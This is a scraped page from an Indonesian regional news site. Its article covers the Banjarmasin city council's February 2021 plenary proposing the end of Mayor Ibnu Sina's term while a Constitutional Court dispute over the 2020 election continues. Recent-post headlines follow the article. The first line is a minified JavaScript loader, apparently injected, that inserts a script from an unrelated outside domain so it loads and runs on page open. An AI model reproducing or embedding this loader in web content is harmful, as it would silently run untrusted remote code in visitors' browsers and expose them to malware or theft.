(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Masa Jabatan Usai 17 Februari, Dewan Telah Usulkan Pemberhentian Wali Kota Ibnu Sina


KANALKALIMANTAN.COM, BANJARMASIN– Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarmasin menggelar rapat paripurna membahas usulan pemberhentian Walikota dan Wakil Walikota Banjarmasin di akhir masa jabatan 2016-2021, Selasa (2/2/2021).

Rapat paripurna digelar jelang berakhirnya masa jabatan Ibnu Sina- H Hermansyah yang akan berakhir pada 17 Februari 2021 resmi memasuki purnatugas.

Ketua DPRD Kota Banjarmasin, Harry Wijaya mengatakan rapat usulan pemberhentian Wali Kota- Wakil Wali Kota dan hasil rapat paripurna akan diserahkan ke Provinsi Kalsel dan ditindak lanjuti oleh Kementerian Dalam Negeri (Kemendagri).

“Proses untuk selanjutnya menunggu SK dari pemerintah untuk pemberhentian masa jabatan “ tuturnya.

Sedangkan untuk usulan rencana pengangkatan Wali Kota dan Wakil Wali Kota terpilih, kini belum bisa di dilakukan karena masih ada sidang mengenai hasil Pilkada 2020 di Mahkamah Konstitusi (MK).

Ibnu Sina menyampaikan bahwa sekarang dirinya yang menunggu hasil dari MK yang saat ini masih proses, sehingga adanya waktu jeda untuk beristirahat dulu.

“Karena proses di MK masih berlanjut sehingga ada jeda sedikit. Paling cepat akhir Maret baru ada Keputusan MK sehingga kami harus istirahat dulu bersama dengan Pak wakil, dan menghormati proses hukum,” tutur Ibnu Sina.

Sementara itu untuk mengisi kekosongan jabatan kepala daerah nantinya akan dipimpin oleh pejabat yang akan di tunjuk oleh Gubernur Kalsel. “Paling tidak, pejabat nanti kurang lebih 1 bulan jika penetapan hasil di MK keluar di bulan Maret,” terangnya.

Sementara itu, Ibnu Sina mengucapkan terima kasih atas kerja sama dalam roda pemerintahan di Kota Banjarmasin bisa berjalan dengan baik dan lancar saat masa jabatan 2016-2020
“Kalau pun ada dinamika sedikit perdebatan itu hal yang secara wajar saja dalam rangka kita menemukan kesepakatan-kesepakatan.

Intinya adalah ini masih dalam koridor demokrasi dan diskusi kita juga tidak sampai mengarah kepada hal-hal yang tidak kita inginkan tetapi justru untuk kepentingan rakyat dan warga kota Banjarmasin,” ungkapnya.(Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

13 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

13 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

19 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.